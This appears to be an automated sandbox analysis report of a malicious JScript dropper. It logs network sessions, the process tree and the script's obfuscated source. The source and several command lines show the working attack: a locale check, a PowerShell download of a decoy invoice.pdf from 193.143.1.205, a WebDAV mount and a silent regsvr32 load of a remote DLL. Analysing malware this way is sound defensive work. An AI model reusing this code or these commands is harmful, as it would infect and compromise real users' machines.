Jan 11, 2025 01:53:18.475413084 CET	824	IN	Data Raw: 38 14 c0 76 ac 90 4a b0 cb dc 58 e8 a7 e1 8e dc 41 0c 75 07 86 a6 18 7a 56 8e a1 7b a5 ee 19 3c f6 a2 18 7a 38 8f a1 e7 67 71 0c bd ef 63 e8 e8 b1 a1 c4 d0 b5 9a fa e6 04 00 00 30 0d be 58 02 80 2d 30 37 d5 fa 05 b9 7e f4 cc 9c f7 f7 ce 91 d3 24 Data Ascii: 8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G@"y[4QI2US&R=Tg>As%=V_r=]X^[ZX\.YF{)y'p&Z'Q/kV~[W
Jan 11, 2025 01:53:18.517486095 CET	1236	IN	Data Raw: 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d a7 5f 50 f3 f3 00 b9 19 ed 5c dd ae 39 af 33 7c 4a fd 08 fc db 21 e9 da 32 e4 9b 1b 81 37 1b 8f cd 90 6f ee Data Ascii: \BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49711	193.143.1.205	8888	4876	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 01:53:20.646820068 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 01:53:21.473433018 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:53:21 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	19:53:13
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\260622981189829640.js"
Imagebase:	0x7ff724a30000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	19:53:14
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6326489910548.dll
Imagebase:	0x7ff777170000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	19:53:14
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	19:53:14
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	19:53:19
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	19:53:19
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff777170000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	19:53:19
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff724d80000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	19:53:20
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	19:53:20
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	19:53:20
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1744 --field-trial-handle=1548,i,17040936807131731567,18358313180190136609,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function hnpimxbog() {	hnpimxbog() ➔ undefined
1	ymhyvolnf = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var jjsosp = this[xmucahh + knpxmtgoh + kcizb + qrvus + fexez + vwqdwud + aqsrrhmu + rvlvoz] ( this[enlyqnmm + xllfrjwx + rmazor + kcizb + hiwgcxafi + xmucahh + rvlvoz][pbhwyve + kcizb + fexez + knpxmtgoh + rvlvoz + fexez + eicwuclfw + bayuyz + oujxgbmy + fexez + rmazor + rvlvoz] ( enlyqnmm + xllfrjwx + rmazor + kcizb + hiwgcxafi + xmucahh + rvlvoz + qknxsdjr + xllfrjwx + pwergixq + fexez + fhnrqrx + fhnrqrx ) [kltrqijz + fexez + qyoxnkvq + kltrqijz + fexez + knpxmtgoh + cvxsyaha] ( bolbx + kpeqtep + mohsn + usthwcfsa + rwfsjyku + pbhwyve + aeekmh + kltrqijz + kltrqijz + mohsn + utnxhzf + lpibxs + rwfsjyku + aeekmh + xllfrjwx + mohsn + kltrqijz + yufxz + pbhwyve + otoaaiy + aqsrrhmu + rvlvoz + kcizb + otoaaiy + fhnrqrx + nthnlcf + morerr + knpxmtgoh + aqsrrhmu + fexez + fhnrqrx + yufxz + vwqdwud + aqsrrhmu + rvlvoz + fexez + kcizb + aqsrrhmu + knpxmtgoh + rvlvoz + hiwgcxafi + otoaaiy + aqsrrhmu + knpxmtgoh + fhnrqrx + yufxz + glqfoj + otoaaiy + rmazor + knpxmtgoh + fhnrqrx + fexez ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( towwudzs = 0 ; towwudzs < ymhyvolnf[fhnrqrx + fexez + aqsrrhmu + qyoxnkvq + rvlvoz + pwergixq] ; ++ towwudzs )
4	{
5	if ( jjsosp == ymhyvolnf[towwudzs] )
6	{
7	jjsosp = true;
8	break ;
9	}
10	}
11	if ( jjsosp !== true )
12	this[enlyqnmm + xllfrjwx + rmazor + kcizb + hiwgcxafi + xmucahh + rvlvoz][kxqfeighr + krqmthdk + hiwgcxafi + rvlvoz] ( );
13	this[enlyqnmm + xllfrjwx + rmazor + kcizb + hiwgcxafi + xmucahh + rvlvoz][pbhwyve + kcizb + fexez + knpxmtgoh + rvlvoz + fexez + eicwuclfw + bayuyz + oujxgbmy + fexez + rmazor + rvlvoz] ( enlyqnmm + xllfrjwx + rmazor + kcizb + hiwgcxafi + xmucahh + rvlvoz + qknxsdjr + xllfrjwx + pwergixq + fexez + fhnrqrx + fhnrqrx ) [kcizb + krqmthdk + aqsrrhmu] ( rmazor + pnbojjzj + cvxsyaha + nthnlcf + raulxn + rmazor + nthnlcf + xmucahh + otoaaiy + pqpioh + fexez + kcizb + qrvus + pwergixq + fexez + fhnrqrx + fhnrqrx + qknxsdjr + fexez + ggtqgiqvy + fexez + nthnlcf + nlifpvvah + pbhwyve + otoaaiy + pnbojjzj + pnbojjzj + knpxmtgoh + aqsrrhmu + cvxsyaha + nthnlcf + kncsqqxei + vwqdwud + aqsrrhmu + vtcvyphg + otoaaiy + xtdrr + fexez + nlifpvvah + enlyqnmm + fexez + bayuyz + kltrqijz + fexez + vjcjjb + krqmthdk + fexez + qrvus + rvlvoz + nthnlcf + nlifpvvah + eicwuclfw + krqmthdk + rvlvoz + abqqx + hiwgcxafi + fhnrqrx + fexez + nthnlcf + zdfqrkrwy + rvlvoz + fexez + pnbojjzj + xmucahh + zdfqrkrwy + yufxz + hiwgcxafi + aqsrrhmu + vtcvyphg + otoaaiy + hiwgcxafi + rmazor + fexez + qknxsdjr + xmucahh + cvxsyaha + ghrwi + nthnlcf + pwergixq + rvlvoz + rvlvoz + xmucahh + zuxqqypi + raulxn + raulxn + tcjvs + lrjlgsvwe + cxrbpem + qknxsdjr + tcjvs + faptr + cxrbpem + qknxsdjr + tcjvs + qknxsdjr + wrmnhw + lalgykdw + opzcoozsu + raulxn + hiwgcxafi + aqsrrhmu + vtcvyphg + otoaaiy + hiwgcxafi + rmazor + fexez + qknxsdjr + xmucahh + pwergixq + xmucahh + kncsqqxei + bdqfj + bdqfj + qrvus + rvlvoz + knpxmtgoh + kcizb + rvlvoz + nthnlcf + zdfqrkrwy + rvlvoz + fexez + pnbojjzj + xmucahh + zdfqrkrwy + yufxz + hiwgcxafi + aqsrrhmu + vtcvyphg + otoaaiy + hiwgcxafi + rmazor + fexez + qknxsdjr + xmucahh + cvxsyaha + ghrwi + bdqfj + bdqfj + rmazor + pnbojjzj + cvxsyaha + nthnlcf + raulxn + rmazor + nthnlcf + aqsrrhmu + fexez + rvlvoz + nthnlcf + krqmthdk + qrvus + fexez + nthnlcf + yufxz + yufxz + tcjvs + lrjlgsvwe + cxrbpem + qknxsdjr + tcjvs + faptr + cxrbpem + qknxsdjr + tcjvs + qknxsdjr + wrmnhw + lalgykdw + opzcoozsu + adtxyxeft + mcnterrbe + mcnterrbe + mcnterrbe + mcnterrbe + yufxz + cvxsyaha + knpxmtgoh + vtcvyphg + pqpioh + pqpioh + pqpioh + kcizb + otoaaiy + otoaaiy + rvlvoz + yufxz + bdqfj + bdqfj + rmazor + pnbojjzj + cvxsyaha + nthnlcf + raulxn + rmazor + nthnlcf + kcizb + fexez + qyoxnkvq + qrvus + vtcvyphg + kcizb + cxrbpem + wrmnhw + nthnlcf + raulxn + qrvus + nthnlcf + yufxz + yufxz + tcjvs + lrjlgsvwe + cxrbpem + qknxsdjr + tcjvs + faptr + cxrbpem + qknxsdjr + tcjvs + qknxsdjr + wrmnhw + lalgykdw + opzcoozsu + adtxyxeft + mcnterrbe + mcnterrbe + mcnterrbe + mcnterrbe + yufxz + cvxsyaha + knpxmtgoh + vtcvyphg + pqpioh + pqpioh + pqpioh + kcizb + otoaaiy + otoaaiy + rvlvoz + yufxz + xklqbjcb + cxrbpem + wrmnhw + xklqbjcb + faptr + mcnterrbe + lrjlgsvwe + lrjlgsvwe + tcjvs + lalgykdw + opzcoozsu + faptr + mcnterrbe + qknxsdjr + cvxsyaha + fhnrqrx + fhnrqrx, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6326489910548.dll",0,false) ➔ 0
14	}
15	lalgykdw = "t";
16	lalgykdw = "k";
17	lalgykdw = "J";
18	lalgykdw = "H";
19	lalgykdw = "E";
20	lalgykdw = "u";
21	lalgykdw = "T";
22	lalgykdw = "p";
23	lalgykdw = "y";
24	lalgykdw = "i";
25	lalgykdw = "h";
26	lalgykdw = "0";
27	cxrbpem = "b";
28	cxrbpem = "E";
29	cxrbpem = "T";
30	cxrbpem = "U";
31	cxrbpem = "M";
32	cxrbpem = "w";
33	cxrbpem = "w";
34	cxrbpem = "i";
35	cxrbpem = "j";
36	cxrbpem = "z";
37	cxrbpem = "O";
38	cxrbpem = "3";
39	xmucahh = "J";
40	xmucahh = "D";
41	xmucahh = "n";
42	xmucahh = "G";
43	xmucahh = "f";
44	xmucahh = "Y";
45	xmucahh = "H";
46	xmucahh = "N";
47	xmucahh = "l";
48	xmucahh = "Y";
49	xmucahh = "N";
50	xmucahh = "f";
51	xmucahh = "g";
52	xmucahh = "Y";
53	xmucahh = "u";
54	xmucahh = "w";
55	xmucahh = "A";
56	xmucahh = "H";
57	xmucahh = "V";
58	xmucahh = "l";
59	xmucahh = "d";
60	xmucahh = "Z";
61	xmucahh = "g";
62	xmucahh = "r";
63	xmucahh = "h";
64	xmucahh = "p";
65	aeekmh = "K";
66	aeekmh = "U";
67	aeekmh = "z";
68	aeekmh = "U";
69	xklqbjcb = "z";
70	xklqbjcb = "k";
71	xklqbjcb = "s";
72	xklqbjcb = "W";
73	xklqbjcb = "X";
74	xklqbjcb = "N";
75	xklqbjcb = "S";
76	xklqbjcb = "W";
77	xklqbjcb = "T";
78	xklqbjcb = "J";
79	xklqbjcb = "6";
80	eicwuclfw = "j";
81	eicwuclfw = "D";
82	eicwuclfw = "K";
83	eicwuclfw = "m";
84	eicwuclfw = "A";
85	eicwuclfw = "T";
86	eicwuclfw = "Z";
87	eicwuclfw = "B";
88	eicwuclfw = "T";
89	eicwuclfw = "l";
90	eicwuclfw = "k";
91	eicwuclfw = "P";
92	eicwuclfw = "p";
93	eicwuclfw = "Q";
94	eicwuclfw = "X";
95	eicwuclfw = "u";
96	eicwuclfw = "o";
97	eicwuclfw = "o";
98	eicwuclfw = "L";
99	eicwuclfw = "w";
100	eicwuclfw = "l";
101	eicwuclfw = "C";
102	eicwuclfw = "B";
103	eicwuclfw = "c";
104	eicwuclfw = "H";
105	eicwuclfw = "v";
106	eicwuclfw = "u";
107	eicwuclfw = "R";
108	eicwuclfw = "V";
109	eicwuclfw = "D";
110	eicwuclfw = "K";
111	eicwuclfw = "B";
112	eicwuclfw = "j";
113	eicwuclfw = "Y";
114	eicwuclfw = "O";
115	adtxyxeft = "T";
116	adtxyxeft = "L";
117	adtxyxeft = "O";
118	adtxyxeft = "i";
119	adtxyxeft = "T";
120	adtxyxeft = "E";
121	adtxyxeft = "n";
122	adtxyxeft = "b";
123	adtxyxeft = "w";
124	adtxyxeft = "W";
125	adtxyxeft = "Z";
126	adtxyxeft = "W";
127	adtxyxeft = "u";
128	adtxyxeft = "A";
129	adtxyxeft = "i";
130	adtxyxeft = "Q";
131	adtxyxeft = "d";
132	adtxyxeft = "g";
133	adtxyxeft = "p";
134	adtxyxeft = "M";
135	adtxyxeft = "E";
136	adtxyxeft = "A";
137	adtxyxeft = "Z";
138	adtxyxeft = "i";
139	adtxyxeft = "y";
140	adtxyxeft = "@";
141	morerr = "v";
142	morerr = "J";
143	morerr = "l";
144	morerr = "f";
145	morerr = "v";
146	morerr = "j";
147	morerr = "p";
148	morerr = "p";
149	morerr = "r";
150	morerr = "I";
151	morerr = "I";
152	morerr = "s";
153	morerr = "r";
154	morerr = "n";
155	morerr = "g";
156	morerr = "H";
157	morerr = "d";
158	morerr = "e";
159	morerr = "V";
160	morerr = "P";
161	zuxqqypi = "a";
162	zuxqqypi = "D";
163	zuxqqypi = "I";
164	zuxqqypi = "g";
165	zuxqqypi = "s";
166	zuxqqypi = "m";
167	zuxqqypi = "U";
168	zuxqqypi = "h";
169	zuxqqypi = "q";
170	zuxqqypi = "M";
171	zuxqqypi = "W";
172	zuxqqypi = "e";
173	zuxqqypi = "a";
174	zuxqqypi = "T";
175	zuxqqypi = "F";
176	zuxqqypi = "B";
177	zuxqqypi = "M";
178	zuxqqypi = "u";
179	zuxqqypi = "d";
180	zuxqqypi = "P";
181	zuxqqypi = "a";
182	zuxqqypi = "J";
183	zuxqqypi = "p";
184	zuxqqypi = "v";
185	zuxqqypi = "p";
186	zuxqqypi = "C";
187	zuxqqypi = "V";
188	zuxqqypi = "w";
189	zuxqqypi = "U";
190	zuxqqypi = "y";
191	zuxqqypi = "P";
192	zuxqqypi = "p";
193	zuxqqypi = ":";
194	pbhwyve = "r";
195	pbhwyve = "p";
196	pbhwyve = "X";
197	pbhwyve = "e";
198	pbhwyve = "T";
199	pbhwyve = "r";
200	pbhwyve = "d";
201	pbhwyve = "O";
202	pbhwyve = "L";
203	pbhwyve = "P";
204	pbhwyve = "G";
205	pbhwyve = "Y";
206	pbhwyve = "Y";
207	pbhwyve = "a";
208	pbhwyve = "L";
209	pbhwyve = "x";
210	pbhwyve = "m";
211	pbhwyve = "g";
212	pbhwyve = "t";
213	pbhwyve = "M";
214	pbhwyve = "T";
215	pbhwyve = "K";
216	pbhwyve = "C";
217	aqsrrhmu = "x";
218	aqsrrhmu = "o";
219	aqsrrhmu = "W";
220	aqsrrhmu = "u";
221	aqsrrhmu = "X";
222	aqsrrhmu = "k";
223	aqsrrhmu = "o";
224	aqsrrhmu = "l";
225	aqsrrhmu = "U";
226	aqsrrhmu = "M";
227	aqsrrhmu = "G";
228	aqsrrhmu = "F";
229	aqsrrhmu = "u";
230	aqsrrhmu = "w";
231	aqsrrhmu = "Z";
232	aqsrrhmu = "e";
233	aqsrrhmu = "i";
234	aqsrrhmu = "S";
235	aqsrrhmu = "o";
236	aqsrrhmu = "A";
237	aqsrrhmu = "H";
238	aqsrrhmu = "G";
239	aqsrrhmu = "h";
240	aqsrrhmu = "V";
241	aqsrrhmu = "b";
242	aqsrrhmu = "E";
243	aqsrrhmu = "s";
244	aqsrrhmu = "O";
245	aqsrrhmu = "p";
246	aqsrrhmu = "l";
247	aqsrrhmu = "o";
248	aqsrrhmu = "x";
249	aqsrrhmu = "t";
250	aqsrrhmu = "R";
251	aqsrrhmu = "z";
252	aqsrrhmu = "v";
253	aqsrrhmu = "q";
254	aqsrrhmu = "P";
255	aqsrrhmu = "m";
256	aqsrrhmu = "n";
257	rvlvoz = "h";
258	rvlvoz = "I";
259	rvlvoz = "Z";
260	rvlvoz = "E";
261	rvlvoz = "B";
262	rvlvoz = "m";
263	rvlvoz = "z";
264	rvlvoz = "j";
265	rvlvoz = "f";
266	rvlvoz = "z";
267	rvlvoz = "d";
268	rvlvoz = "k";
269	rvlvoz = "F";
270	rvlvoz = "s";
271	rvlvoz = "R";
272	rvlvoz = "Q";
273	rvlvoz = "i";
274	rvlvoz = "s";
275	rvlvoz = "H";
276	rvlvoz = "t";
277	rvlvoz = "t";
278	nlifpvvah = "Y";
279	nlifpvvah = "X";
280	nlifpvvah = "E";
281	nlifpvvah = "f";
282	nlifpvvah = "F";
283	nlifpvvah = "F";
284	nlifpvvah = "Z";
285	nlifpvvah = "X";
286	nlifpvvah = "j";
287	nlifpvvah = "F";
288	nlifpvvah = "p";
289	nlifpvvah = "m";
290	nlifpvvah = "Q";
291	nlifpvvah = "D";
292	nlifpvvah = "T";
293	nlifpvvah = "j";
294	nlifpvvah = "E";
295	nlifpvvah = "Q";
296	nlifpvvah = "-";
297	abqqx = "Z";
298	abqqx = "u";
299	abqqx = "U";
300	abqqx = "T";
301	abqqx = "x";
302	abqqx = "C";
303	abqqx = "j";
304	abqqx = "b";
305	abqqx = "C";
306	abqqx = "A";
307	abqqx = "u";
308	abqqx = "F";
309	abqqx = "f";
310	abqqx = "F";
311	abqqx = "N";
312	abqqx = "p";
313	abqqx = "l";
314	abqqx = "z";
315	abqqx = "q";
316	abqqx = "L";
317	abqqx = "U";
318	abqqx = "A";
319	abqqx = "G";
320	abqqx = "E";
321	abqqx = "X";
322	abqqx = "y";
323	abqqx = "V";
324	abqqx = "E";
325	abqqx = "y";
326	abqqx = "T";
327	abqqx = "Q";
328	abqqx = "y";
329	abqqx = "P";
330	abqqx = "l";
331	abqqx = "J";
332	abqqx = "Q";
333	abqqx = "q";
334	abqqx = "j";
335	abqqx = "F";
336	ghrwi = "l";
337	ghrwi = "m";
338	ghrwi = "z";
339	ghrwi = "w";
340	ghrwi = "v";
341	ghrwi = "L";
342	ghrwi = "f";
343	lpibxs = "X";
344	lpibxs = "L";
345	lpibxs = "p";
346	lpibxs = "T";
347	lpibxs = "J";
348	lpibxs = "P";
349	lpibxs = "p";
350	lpibxs = "I";
351	lpibxs = "l";
352	lpibxs = "u";
353	lpibxs = "F";
354	lpibxs = "P";
355	lpibxs = "W";
356	lpibxs = "V";
357	lpibxs = "j";
358	lpibxs = "T";
359	oujxgbmy = "d";
360	oujxgbmy = "Q";
361	oujxgbmy = "w";
362	oujxgbmy = "H";
363	oujxgbmy = "b";
364	oujxgbmy = "U";
365	oujxgbmy = "J";
366	oujxgbmy = "o";
367	oujxgbmy = "K";
368	oujxgbmy = "I";
369	oujxgbmy = "G";
370	oujxgbmy = "D";
371	oujxgbmy = "b";
372	oujxgbmy = "E";
373	oujxgbmy = "y";
374	oujxgbmy = "U";
375	oujxgbmy = "n";
376	oujxgbmy = "y";
377	oujxgbmy = "L";
378	oujxgbmy = "h";
379	oujxgbmy = "i";
380	oujxgbmy = "h";
381	oujxgbmy = "F";
382	oujxgbmy = "d";
383	oujxgbmy = "P";
384	oujxgbmy = "j";
385	qyoxnkvq = "Z";
386	qyoxnkvq = "A";
387	qyoxnkvq = "A";
388	qyoxnkvq = "W";
389	qyoxnkvq = "h";
390	qyoxnkvq = "S";
391	qyoxnkvq = "F";
392	qyoxnkvq = "P";
393	qyoxnkvq = "r";
394	qyoxnkvq = "p";
395	qyoxnkvq = "C";
396	qyoxnkvq = "C";
397	qyoxnkvq = "k";
398	qyoxnkvq = "O";
399	qyoxnkvq = "s";
400	qyoxnkvq = "f";
401	qyoxnkvq = "g";
402	lrjlgsvwe = "p";
403	lrjlgsvwe = "I";
404	lrjlgsvwe = "r";
405	lrjlgsvwe = "n";
406	lrjlgsvwe = "t";
407	lrjlgsvwe = "M";
408	lrjlgsvwe = "o";
409	lrjlgsvwe = "X";
410	lrjlgsvwe = "z";
411	lrjlgsvwe = "p";
412	lrjlgsvwe = "D";
413	lrjlgsvwe = "X";
414	lrjlgsvwe = "A";
415	lrjlgsvwe = "a";
416	lrjlgsvwe = "K";
417	lrjlgsvwe = "l";
418	lrjlgsvwe = "o";
419	lrjlgsvwe = "r";
420	lrjlgsvwe = "m";
421	lrjlgsvwe = "c";
422	lrjlgsvwe = "9";
423	tcjvs = "K";
424	tcjvs = "s";
425	tcjvs = "g";
426	tcjvs = "s";
427	tcjvs = "1";
428	xtdrr = "b";
429	xtdrr = "m";
430	xtdrr = "U";
431	xtdrr = "d";
432	xtdrr = "V";
433	xtdrr = "g";
434	xtdrr = "S";
435	xtdrr = "S";
436	xtdrr = "a";
437	xtdrr = "E";
438	xtdrr = "E";
439	xtdrr = "J";
440	xtdrr = "i";
441	xtdrr = "H";
442	xtdrr = "k";
443	kltrqijz = "H";
444	kltrqijz = "U";
445	kltrqijz = "x";
446	kltrqijz = "I";
447	kltrqijz = "l";
448	kltrqijz = "Y";
449	kltrqijz = "C";
450	kltrqijz = "B";
451	kltrqijz = "O";
452	kltrqijz = "v";
453	kltrqijz = "K";
454	kltrqijz = "b";
455	kltrqijz = "e";
456	kltrqijz = "w";
457	kltrqijz = "j";
458	kltrqijz = "p";
459	kltrqijz = "Y";
460	kltrqijz = "B";
461	kltrqijz = "s";
462	kltrqijz = "U";
463	kltrqijz = "d";
464	kltrqijz = "y";
465	kltrqijz = "R";
466	kltrqijz = "M";
467	kltrqijz = "N";
468	kltrqijz = "R";
469	kltrqijz = "L";
470	kltrqijz = "B";
471	kltrqijz = "g";
472	kltrqijz = "I";
473	kltrqijz = "f";
474	kltrqijz = "E";
475	kltrqijz = "r";
476	kltrqijz = "r";
477	kltrqijz = "f";
478	kltrqijz = "y";
479	kltrqijz = "c";
480	kltrqijz = "B";
481	kltrqijz = "F";
482	kltrqijz = "B";
483	kltrqijz = "O";
484	kltrqijz = "w";
485	kltrqijz = "c";
486	kltrqijz = "R";
487	kncsqqxei = "m";
488	kncsqqxei = "C";
489	kncsqqxei = "s";
490	kncsqqxei = "V";
491	kncsqqxei = "O";
492	kncsqqxei = "x";
493	kncsqqxei = "a";
494	kncsqqxei = "v";
495	kncsqqxei = "z";
496	kncsqqxei = "N";
497	kncsqqxei = "E";
498	kncsqqxei = "H";
499	kncsqqxei = "Q";
500	kncsqqxei = "Q";
501	kncsqqxei = "l";
502	kncsqqxei = "x";
503	kncsqqxei = "\"";
504	raulxn = "l";
505	raulxn = "G";
506	raulxn = "D";
507	raulxn = "E";
508	raulxn = "r";
509	raulxn = "y";
510	raulxn = "l";
511	raulxn = "W";
512	raulxn = "Q";
513	raulxn = "K";
514	raulxn = "t";
515	raulxn = "C";
516	raulxn = "d";
517	raulxn = "k";
518	raulxn = "b";
519	raulxn = "K";
520	raulxn = "m";
521	raulxn = "m";
522	raulxn = "v";
523	raulxn = "D";
524	raulxn = "m";
525	raulxn = "n";
526	raulxn = "z";
527	raulxn = "I";
528	raulxn = "/";
529	kpeqtep = "z";
530	kpeqtep = "N";
531	kpeqtep = "E";
532	kpeqtep = "u";
533	kpeqtep = "Q";
534	kpeqtep = "R";
535	kpeqtep = "q";
536	kpeqtep = "a";
537	kpeqtep = "c";
538	kpeqtep = "E";
539	kpeqtep = "i";
540	kpeqtep = "u";
541	kpeqtep = "k";
542	kpeqtep = "u";
543	kpeqtep = "W";
544	kpeqtep = "D";
545	kpeqtep = "S";
546	kpeqtep = "m";
547	kpeqtep = "d";
548	kpeqtep = "J";
549	kpeqtep = "p";
550	kpeqtep = "z";
551	kpeqtep = "W";
552	kpeqtep = "K";
553	kpeqtep = "b";
554	kpeqtep = "I";
555	kpeqtep = "m";
556	kpeqtep = "z";
557	kpeqtep = "E";
558	kpeqtep = "u";
559	kpeqtep = "H";
560	kpeqtep = "K";
561	faptr = "l";
562	faptr = "t";
563	faptr = "b";
564	faptr = "g";
565	faptr = "u";
566	faptr = "k";
567	faptr = "K";
568	faptr = "i";
569	faptr = "4";
570	glqfoj = "U";
571	glqfoj = "A";
572	glqfoj = "V";
573	glqfoj = "I";
574	glqfoj = "K";
575	glqfoj = "T";
576	glqfoj = "L";
577	qrvus = "G";
578	qrvus = "t";
579	qrvus = "T";
580	qrvus = "j";
581	qrvus = "U";
582	qrvus = "A";
583	qrvus = "I";
584	qrvus = "u";
585	qrvus = "Y";
586	qrvus = "M";
587	qrvus = "M";
588	qrvus = "h";
589	qrvus = "Y";
590	qrvus = "F";
591	qrvus = "d";
592	qrvus = "E";
593	qrvus = "M";
594	qrvus = "W";
595	qrvus = "e";
596	qrvus = "U";
597	qrvus = "Q";
598	qrvus = "h";
599	qrvus = "E";
600	qrvus = "J";
601	qrvus = "q";
602	qrvus = "H";
603	qrvus = "g";
604	qrvus = "H";
605	qrvus = "K";
606	qrvus = "h";
607	qrvus = "M";
